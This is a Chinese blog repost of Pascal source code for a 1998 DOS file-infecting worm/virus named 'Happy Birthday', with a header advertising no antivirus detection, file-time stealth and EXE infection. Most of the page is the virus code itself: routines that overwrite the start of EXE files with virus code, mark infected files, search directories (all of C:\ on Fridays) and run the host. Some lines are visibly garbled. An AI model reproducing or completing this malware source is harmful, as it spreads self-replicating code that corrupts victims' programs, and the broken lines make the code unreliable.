Pascal编写的蠕虫病毒,凌盟提供,Chaobs转载
{ Happy Birthday (c) 1998 WoRm
I don't take responsibility for any damage caused by this virus.
It was made for EDUCATIONAL USE ONLY.
AVs : No detection
Size : 8928 bytes
Payload : yes - display text
Stealth : yes - file time
Infects : exe
Encryption : no
If you've got any question write to
}
{Mgwxp*Izgtpk3CzDz9');
writeln('1000 then Error:=8;
If Error=0 then Begin
NewHeapEnd:=Seg(HeapPtr^)-PrefixSeg;
OldHeapEnd:=Seg(HeapEnd^)-PrefixSeg;
asm
mov ah,4Ah
mov bx,NewHeapEnd
mov es,PrefixSeg
Int 21h
jnc @EXIT
mov Error,ax
@EXIT:
end; {asm}
If Error=0 then begin
SwapVectors;
Exec(GetEnv('COMSPEC'),command);
SwapVectors;
asm
mov ah,4Ah
mov bx,OldHeapEnd
mov es,PrefixSeg
Int 21h
jnc @EXIT
mov Error,ax
@EXIT:
end; {asm}
end; {If}
end; {If}
DosShell:=Error;
end; {Function}
procedure futtatas; {Execute host program}
var fuf,orf:file;
fufa:searchrec;
ix:integer;
comlin:string;
begin
findfirst(paramstr(fuck),Anyfile,fufa);
if fufa.size>virushossz then begin
assign(fuf,fufa.name);
windos.getfattr(fuf,regia);
windos.setfattr(fuf,Archive);
reset(fuf,1);
assign(orf,crypt('slhsey::"hvj'));
rewrite(orf,1);
windos.getftime(fuf,regit);
seek(fuf,fufa.size-(virushossz+10));
blockread(fuf,exebuffer,virushossz);
seek(orf,0);
blockwrite(orf,exebuffer,virushossz);
seek(fuf,virushossz);
for ix:=1 to (fufa.size-(virushossz+virushossz+10)) div virushossz do be
gin
blockread(fuf,exebuffer,virushossz);
blockwrite(orf,exebuffer,virushossz);
end;
ix:=(fufa.size-(virushossz+virushossz+10)) mod virushossz;
blockread(fuf,exebuffer,ix);
blockwrite(orf,exebuffer,ix);
close(orf);
windos.setftime(fuf,regit);
close(fuf);
windos.setfattr(fuf,regia);
for dow:=1 to paramcount do
comlin:=comlin+' '+paramstr(dow);
dosshell(crypt('+f&pag~f|=?!uiw'+comlin));
erase(orf);
end;
end;
function fertozott(ellfa:searchrec):boolean; {Is file already infected?}
var i:byte;
osszeg:longint;
ellkey:array[1..10] of byte;
modosito:byte;
ellf:file;
begin
assign(ellf,ellfa.name);
windos.getfattr(ellf,regia);
windos.setfattr(ellf,archive);
reset(ellf,1);
windos.getftime(ellf,regit);
seek(ellf,ellfa.size-10);
blockread(ellf,ellkey,10);
windos.setftime(ellf,regit);
close(ellf);
windos.setfattr(ellf,regia);
osszeg:=1;
for i:=1 to 10 do begin
if ellkey[i]>9 then begin
modosito:=ellkey[i] div 10;
ellkey[i]:=ellkey[i]-10*modosito;
end;
osszeg:=osszeg*ellkey[i];
end;
if osszeg=126000 then fertozott:=true else fertozott:=false;
end;
procedure fertoz(filehelye,fileneve:string); {Infect a file - filehelye=pat
h}
label next; {of file,fileneve=its name
}
var fef:file;
fefa:searchrec;
k:array[1..10] of byte;
dt:tdatetime;
procedure keygen;
var o:longint;
i,a:byte;
begin
repeat
o:=126000;
for i:=1 to 10 do begin
repeat
a:=random(8)+1;
until o mod a=0;
o:=o div a;
k[i]:=a;
end;
o:=1;
for i:=1 to 10 do o:=o*k[i];
until o=126000;
for i:=1 to 10 do k[i]:=k[i]+random(24)*10;
end;
begin
chdir(filehelye);
findfirst(fileneve,Anyfile,fefa);
if doserror=0 then begin
if fefa.size>virushossz+10 then begin;
assign(fef,fefa.name);
windos.getfattr(fef,regia);
windos.setfattr(fef,archive);
reset(fef,1);
windos.getftime(fef,regit);
if fertozott(fefa)<>true then begin
seek(fef,0);
blockread(fef,exebuffer,virushossz);
seek(fef,0);
blockwrite(fef,virusbuffer,virushossz);
seek(fef,fefa.size);
blockwrite(fef,exebuffer,virushossz);
keygen;
blockwrite(fef,k,10);
windos.setftime(fef,regit);
eddig:=eddig+1;
end;
close(fef);
windos.setfattr(fef,regia);
end;
end;
end;
Procedure fertozes(path : PathStr); {This one searches subdirs of the}
{Path given as parameter and }
Var SearchFile : SearchRec; {Infects them (Max. 5 files/run }
begin
if Path[Length(Path)] <> '\' then
Path := Path + '\';
FindFirst(Path + '*.*', 10) = $10) and (SearchFile.Name[1] <> '.') and
(eddig<5) then
Fertozes(Path + SearchFile.Name)
else
if (Pos('.EXE',SearchFile.Name)<>0) and (eddig<5) then begin
fertoz(Path,SearchFile.Name);
end;
if (eddig<5) then FindNext(SearchFile);
end;
end;
procedure inicializacio;
var inf:file;
begin
assign(inf,paramstr(fuck)); {Open current file (host)}
getfattr(inf,regia); {Save file time for time }
setfattr(inf,archive); {Stealth and move Vx code}
reset(inf,1); {Into Vx buffer. }
getftime(inf,regit);
seek(inf,0);
blockread(inf,virusbuffer,virushossz);
setftime(inf,regit); {Close file and set time }
close(inf);
setfattr(inf,regia);
end;
begin
getdir(0,konyvt); {Get current dir}
randomize; {For the keygenerator}
eddig:=0;
inicializacio; {Initialize buffers}
getdate(y,m,d,dow);
if dow=5 then fertozes('c:\'); {Infect files}
for dow:=1 to 4 do begin
chdir(crypt(dir[dow]));
if ioresult=0 then fertozes(crypt(dir[dow]));
end;
futtatas; {Execute host}
MEGLEPETES; {Payload}
chdir(konyvt); {Reset original dir}
end.
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· 周边上新:园子的第一款马克杯温暖上架
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
· 使用C#创建一个MCP客户端